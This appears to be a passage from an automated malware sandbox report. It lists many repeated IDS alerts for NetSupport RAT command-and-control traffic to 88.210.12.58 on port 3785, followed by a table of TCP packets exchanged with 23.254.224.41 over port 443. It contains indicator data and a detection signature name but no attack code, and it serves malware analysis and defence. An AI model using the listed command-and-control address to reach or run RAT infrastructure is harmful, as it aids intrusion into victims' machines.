2024-12-06T10:41:16.675627+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:16.775716+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:16.875684+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:16.978546+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:17.079831+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:17.180699+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:17.281676+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:17.382723+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:17.483729+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:17.584676+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:17.685702+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:17.786751+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:18.321108+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:18.321108+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:18.522674+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:18.623684+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:18.725537+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:18.824686+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:18.924679+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:19.025773+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:19.125693+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:19.225726+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:19.326680+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:19.426687+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:19.526736+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:19.627693+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:19.727703+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:19.828729+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:19.929709+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:20.030828+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:20.133552+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:20.233552+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:20.341458+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:20.443475+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:20.682840+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:20.682840+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:21.097174+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:21.298727+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:21.399730+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:21.499761+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:21.599744+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:21.699819+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:21.800727+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:21.900809+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:22.001743+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:22.101728+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:22.202774+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:22.305597+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:22.403882+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:22.503641+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:22.603819+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:22.726038+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:22.826697+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:22.929563+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:23.027046+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:23.127726+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:23.545135+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:23.545135+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:23.847693+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:24.048715+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:24.149719+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:24.253582+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:24.349706+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:24.449721+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:24.552086+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:24.650715+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:24.753574+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:24.852713+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:24.953473+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:25.053738+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:25.153822+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:25.253760+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:25.354741+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:25.454732+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:25.554720+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:25.655732+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:25.756720+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:25.856740+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:25.958776+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:26.058755+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:26.174211+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:26.277393+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:26.595740+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:26.595740+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:26.799719+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:26.899682+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:26.999789+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:27.103971+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:27.203729+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:27.304719+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:27.405801+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:27.506858+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:27.606794+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:27.707756+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:27.808787+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:27.909851+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:28.009740+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:28.110770+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:28.211845+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:28.311601+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:28.411623+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:28.511676+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:28.611018+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:28.711898+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:28.943614+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:28.943614+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:29.243749+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:29.443795+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:29.543802+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:29.643756+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:29.743763+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:29.844867+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:29.945796+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:30.045795+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 10:39:18.070992947 CET	49707	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:18.071054935 CET	443	49707	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:18.071124077 CET	49707	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:18.102217913 CET	49707	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:18.102248907 CET	443	49707	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:19.858022928 CET	443	49707	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:19.858136892 CET	49707	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:19.931720018 CET	49707	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:19.931751966 CET	443	49707	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:19.932141066 CET	443	49707	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:19.932187080 CET	49707	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:19.935776949 CET	49707	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:19.983334064 CET	443	49707	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:20.340889931 CET	443	49707	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:20.340917110 CET	443	49707	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:20.341008902 CET	49707	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:20.341036081 CET	443	49707	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:20.341088057 CET	49707	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:20.400742054 CET	443	49707	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:20.400909901 CET	49707	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:20.536623001 CET	443	49707	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:20.536778927 CET	49707	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:20.561691046 CET	443	49707	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:20.561847925 CET	49707	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:20.586951971 CET	443	49707	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:20.587165117 CET	49707	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:20.601320982 CET	443	49707	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:20.601408958 CET	443	49707	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:20.601438046 CET	49707	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:20.601464033 CET	49707	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:20.601937056 CET	49707	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:20.601963043 CET	443	49707	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:20.601975918 CET	49707	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:20.602015018 CET	49707	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:20.646894932 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:20.646944046 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:20.647012949 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:20.647301912 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:20.647320032 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:22.000909090 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:22.000991106 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:22.001838923 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:22.001851082 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:22.002058983 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:22.002063990 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:22.510804892 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:22.510832071 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:22.510920048 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:22.510947943 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:22.510991096 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:22.700428963 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:22.700700998 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:22.729507923 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:22.729579926 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:22.754658937 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:22.754733086 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:22.779226065 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:22.779323101 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:22.900556087 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:22.900757074 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:22.915163040 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:22.915230989 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:22.934000969 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:22.934079885 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:22.948210001 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:22.948283911 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:22.962754965 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:22.962833881 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:22.976758957 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:22.976870060 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.015110016 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.015178919 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.089948893 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.090070963 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.104629040 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.104736090 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.114974976 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.115109921 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.124614000 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.124711037 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.137526035 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.137655973 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.144669056 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.144804001 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.150538921 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.150635004 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.157052994 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.157175064 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.162925959 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.163007021 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.275963068 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.276077986 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.282134056 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.282234907 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.287686110 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.287786961 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.292948008 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.293021917 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.299778938 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.299844027 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.304934978 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.305013895 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.310390949 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.310467005 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.316998005 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.317080975 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.322201014 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.322271109 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.327482939 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.327548981 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.333414078 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.333482981 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.338675022 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.338759899 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.343918085 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.343986988 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.350774050 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.350846052 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.355948925 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.356024981 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.361061096 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.361125946 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.467941999 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.468117952 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.471851110 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.471932888 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.476149082 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.476228952 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.481606960 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.481692076 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.485691071 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.485786915 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.489681005 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.489763975 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.494935036 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.495023012 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.498872042 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.498971939 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.502907991 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.502971888 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.506902933 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.506966114 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.511465073 CET	443	49709	23.254.224.41	192.168.2.6
